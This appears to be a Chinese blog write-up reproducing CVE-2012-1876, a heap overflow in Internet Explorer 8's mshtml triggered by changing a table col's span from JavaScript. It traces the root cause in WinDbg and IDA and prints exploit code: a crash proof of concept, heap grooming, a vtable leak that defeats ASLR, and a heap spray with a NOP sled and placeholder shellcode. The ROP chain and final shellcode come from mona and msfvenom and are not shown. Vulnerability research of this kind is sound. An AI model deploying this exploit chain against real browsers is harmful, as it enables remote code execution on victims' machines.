js settimeout内存溢出_漏洞分析与复现 | cve20121876 IE浏览器堆溢出漏洞

本文深入探讨了一个影响IE的mshtml模块的堆溢出漏洞,详细解析了漏洞原理、调试环境搭建及利用步骤。通过动态更改HTML col标签的span属性,利用CalculateMinMax函数导致堆溢出,进而可能执行恶意代码。漏洞利用涉及内存布局、虚表地址泄露、堆喷射和ROP链构造,绕过ASLR和DEP。
摘要由CSDN通过智能技术生成

漏洞原理与利用概述

该漏洞是IE的mshtml模块的堆溢出漏洞。产生漏洞的原因是CalculateMinMax函数会根据HTML中的col标签的span属性值每次向堆中写入0x1c个字节的值。当我们用JS动态更改span的属性值时会再次调用CalculateMinMax函数,写入新的span * 0x1c个字节,问题在于这一次写入并没有开辟新的空间,而是在原先的位置和大小开始写入值(样式信息),从而导致了堆溢出。微软发布的补丁做的事情就是在更改span后会开辟一个新的位置和大小的堆,从而防止堆溢出。

我们利用这个漏洞就是通过精心的内存布局,去泄露出CButtonLayout对象的虚表地址,从而泄露mshtml的基址并利用堆喷射最终绕过ASLR。然后进一步溢出,覆盖该虚表地址,从而在后续调用虚函数时劫持EIP。然后通过mshtml中的指令构造ROP链绕过DEP,最终执行shellcode。效果如下。

a4b49dc49f04737ad6f9663aa98f9a99.gif

调试环境搭建

windows 7 32位(IE版本: 8.0.7600.16385) windbg Immunity Debugger

漏洞原理

POC

<body>    <table style="table-layout:fixed" >        <col id="132" width="41" span="1" > col>    table>    <script>        function over_trigger() {            var obj_col = document.getElementById("132");            obj_col.width = "42765";            obj_col.span = 1000;        }        setTimeout("over_trigger();",1);script>body></html>

IE浏览器每个选项卡都会创建一个子进程来处理,所以打开前打开后比较一下就知道附加到哪个进程了

0cb229d8808b9e17439b21d2d3cb32f1.png

开启页堆,载入POC,附加到该标签页的进程

54e9a81fd2855fca7013073e4aca0ec5.png

702cedd0297d3aa9a8cca21368379bf7.png

通过 kb进行回溯,确定漏洞函数为AdjustForCol。通过返回地址 和 ub确认漏洞函数的入口点

9ee2b1dda43299903b0667db44776753.png

3230c0bc49ea05799cda624a9c4c9480.png

在IDA 中对寄存器进行回溯,可以发现edi的值最终来自于外部

ffff9b2ccda38dd53540ad045042d323.png

在AdjustForCol的调用处继续回溯,可以发现esi来自于[ebp+var_28],继续回溯[ebp+var_28]发现其来自于eax,而eax由ecx和[ebx+9c]相加得到

96c2f6a18e822add2568301471abf094.pnge7337113495e351f419dbf0a20140393.png

对ebx进行回溯,发现在该函数的开头ebx进行过赋值,而该值来自于该函数的第一个参数[ebp+8]

87db5a77b6febf19c52832f93ee3712e.png

用windbg来验证一下,重新载入POC,在mshtml!CTableLayout::CalculateMinMax处下断点,然后单步调试

bef7201a7cd73955af6cd00a0fede285.png

此处将函数的第一个参数(ebp+8)赋值给ebx,通过windbg查看内存情况,如图此处内存实际上是CTableLayout对象,偏移54h处就是span这个属性的值即为spanum,可以看到对应的内存被设置为1

9b235e149ba89b8218eb7919c2c9f6ff.png

另一很重要的变量就是下图的[ebx+94h],将其记为spancmp83acd3a6166caa563d0f0029cdcfb3cf.png

这里spancmp除以4并与spanum进行比较,若大于等于就会跳转。显然这里不会跳转(spacmp =0 ,除了4还是0,spanum是1)。之后便会去执行开辟堆的EnsureSizeWorker函数。如果跳过了,这次便不会执行EnsureSizeWorker函数了。

398f806926c8b0dbdefb9cbf41e63c7e.png

而EnsureSizeWorker函数这一次只会开辟0x70个字节的大小的堆

bfd4d497f66ea5f495d88c7c725a2a87.png

这里其实就是问题所在,我们可以通过JS动态的更改span的属性值。CalculateMinMax会再次执行。程序仍然会通过比较内存中的spanum和spancmp来判断是否开辟堆区。但是内存中的spanum的值实际上并没有变(JS更改后的值是通过后面的getAASpan函数得到的),而spacmp变为了4,所以第二次并不会开辟新堆,而是使用了这个0x70大小的旧堆。前后两次该内存中的情况如下图,可以看到spanum是1,spacmp为4。

99a2aecc35164871065d1f7f5a0974c1.png

ff797af387c5d896a878e2e668624cba.png

之后便会执行getAASpan函数,该函数会获得JS动态更改后的span的值。通过windbg可以看到返回值已经变为了1000

d014b46f7b405c055d07979aa6ae1e85.png

然后就会执行漏洞函数,AdjustForCol操作是个内存写入的操作,他的写入次数是V143控制的,而v143就是由GetAASpan控制,写入的值是由GetPixelWidth函数得到

cc27d377ceca67aa1341903a823d02a8.png

GetPixelWidth每次写入大小为0x1c字节的值,并且写入的值为125乘width或者 (125乘width乘16)| 8.(这个width也是我们在POC设置的值)。比如下图是width为41时的情况。我们就是通过这个值来泄露出虚表地址以及覆盖虚表地址的。

df6a01d8da3f65f14e9725d22572ae68.png

漏洞利用

构造如图的内存结构,首先创建0x100的字符串“EEE”然后是“AAA”,然后是“BBB”最后就是CButtonLayout对象。然后释放掉“EEE”所在的空间,造成内存中隔着0x100大小的空位。这些空位就是为了之后分配可溢出的内存块时能占用其中一个。因此我们在exp中应该先设置span为9,因为9*0x1c=0xfc

53e116e63b2d837fcbd98e92242a2e46.png

因为JS中的字符串在内存中都是以BSTR的形式存储,即4bytes字符串长度 + 字符串数据 + \x00\x00(2bytes)的形式。所以具体的思路是我们可以从占用的位置vul开始溢出,一直到B字符串的长度位置。因为B的长度是0x100,而我们写入的值是 width乘125 或 (125乘width乘16) | 8,只要width控制的好,很容易就能扩大其长度,读到B字符串后面的对象的虚表地址

首先关闭hpa(方便查看溢出,开启的情况下堆会自动填充0xc),利用POC2

<body>    <div id="evil">div>    <script>        var free = "EEEE";        while (free.length < 480) free += free;        var string1 = "AAAA";        while (string1.length < 480) string1 += string1;        var string2 = "BBBB";        while (string2.length < 480) string2 += string2;        var fr = new Array();        var al = new Array();        var div_container = document.getElementById("evil");        div_container.style.cssText = "display:none";        for (var i = 0; i < 500; i+=2) {            fr[i] = free.substring(0, (0x100 - 6) / 2);            al[i] = string1.substring(0, (0x100 - 6) / 2);            al[i+1] = string2.substring(0, (0x100 - 6) / 2);            var obj = document.createElement("button");            div_container.appendChild(obj);        }        alert(114);        for (var i = 200; i < 500; i += 2) {            fr[i] = null;             CollectGarbage(); //释放"EEEE..."字符串        }script>     <table style="table-layout:fixed" >     <col id="0" width="41" span="9" >  col>     table>body></html>

下如下的断点,并用 .logopen开启日志,其中74d2a204为mshtml!CImplAry::EnsureSizeWorker的下一条指令地址,输出刚申请的堆块的地址

bu 74d2a204 ".echo vulheap; dd poi(ebx+9c) l4;g"

随便查看一块刚申请的堆块地址,内存中的结构如下,可以发现已经成功占用了E字符串释放的位置

d7fcdc42ef9822b8d47c2aeacb66d66c.png

在POC2中加入leak代码覆盖B字符串的长度部分叫做POC3,结果如下

function leak() {        var leak_col = document.getElementById("132");        leak_col.width = 41;        leak_col.span = 19;}

60721892a4c27d1f420eebd87b41f8f2.png

B字符串的长度被覆盖为0x014058,长度变大,此时可以利用字符串b读出虚表地址然后利用相对偏移地址计算mshtml的基址 从而得到rop链的基址,覆盖后的结构如下

bff6848c5fda5779ab81a63afaca3b5c.png

查看并计算出虚表和模块之间的偏移

92e1493decb83a8a2bd5a46df017a812.png

6472fcfcb652fa6016961b388305b5d1.png

利用在POC3中加入get_leak函数查看泄露的虚表地址和模块地址。另存为POC4

function get_leak(){            for (var i = 0; i < 500; i++) {                if (al[i].length > (0x100 - 6) / 2) {                    var leak = al[i].substring((0x100 - 6) / 2 + (2 + 8) / 2, (0x100 - 6) / 2 + (2 + 8 + 4) / 2);                    leak_addr = parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16);                    alert("CbuttonLayout虚表指针: 0x" + leak_addr.toString(16));                    mshtmlbase = leak_addr - 0x1584f8;                    alert("mshtml.dll基址?: 0x" + mshtmlbase.toString(16));                    break;                }            }        }

92daf248f27fca2be8240271ad6c1fd7.png

8f508d2c5f7afbb0ab013babe8008f7e.png

84a56d60dae8b1663881ef3c32ec32a4.png

泄露基址后,我们进一步溢出,因为堆的起始不会变,所以还是从头开始计算堆溢出的字节长度。最终这里会被覆盖成了width乘125的值,如图,成功覆盖虚表地址fad6e97d4c1f466216b81d98df5a51bc.png

之后我们利用堆喷射,将shellcode布置到堆中

function heap_spray(){            alert("spray...");            var heap_obj = new heapLib.ie(0x10000);            var code = unescape("%ucccc%ucccc");    //Code to execute            var nops = unescape("%u9090%u9090");    //NOPs            while (nops.length < 0x1000) nops+= nops; // create big block of nops            var shellcode =  nops.substring(0,0x800 - code.length) + code;            while (shellcode.length < 0x40000) shellcode += shellcode;            var block = shellcode.substring(2, 0x40000 - 0x21);            //spray            for (var i=0; i < 500; i++) {                heap_obj.alloc(block);            }            alert("done")        }

我这里有点问题无法用!address -f:heap 指令,原因是!address 将堆定义为了unclassified,但是这里的大小是堆开辟的大小,所以猜测就是堆。这里网上查了一下好像是windbg版本的问题我是6.12,6.11据说没问题

d34bd78a62e52f7dca86b40d2dbb1a9f.png

增加padding将shellcode调整到我们的width乘125的值,这样我们在调用虚函数的时候就会成功转移到ROP链上了

function heap_spray(){            alert("spray...");            var offset = 0x354;            var heap_obj = new heapLib.ie(0x10000);             var code = unescape("%ucccc%ucccc");    //Code to execute            var nops = unescape("%u9090%u9090");    //NOPs            while (nops.length < 0x1000) nops+= nops; // create big block of nops            var front_padding = nops.substring(0,offset);            var tail_padding = nops.substring(0, 0x800 - front_padding.length - code.length);            var shellcode =  front_padding + code + tail_padding;            while (shellcode.length < 0x40000) shellcode += shellcode;            var block = shellcode.substring(2, 0x40000 - 0x21);            //spray            for (var i=0; i < 500; i++) {                heap_obj.alloc(block);            }            alert("done")        }

32c15ecacc0defbfffc0810fa7c4f877.png

最后通过mona生成ROP链,并用msfvenom生成shellcode。exp的效果如文章开头所示

843ac26ee14e334d7638bd74fd47eb34.png

6b100c2d2968525509e66b36aa33a9c4.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值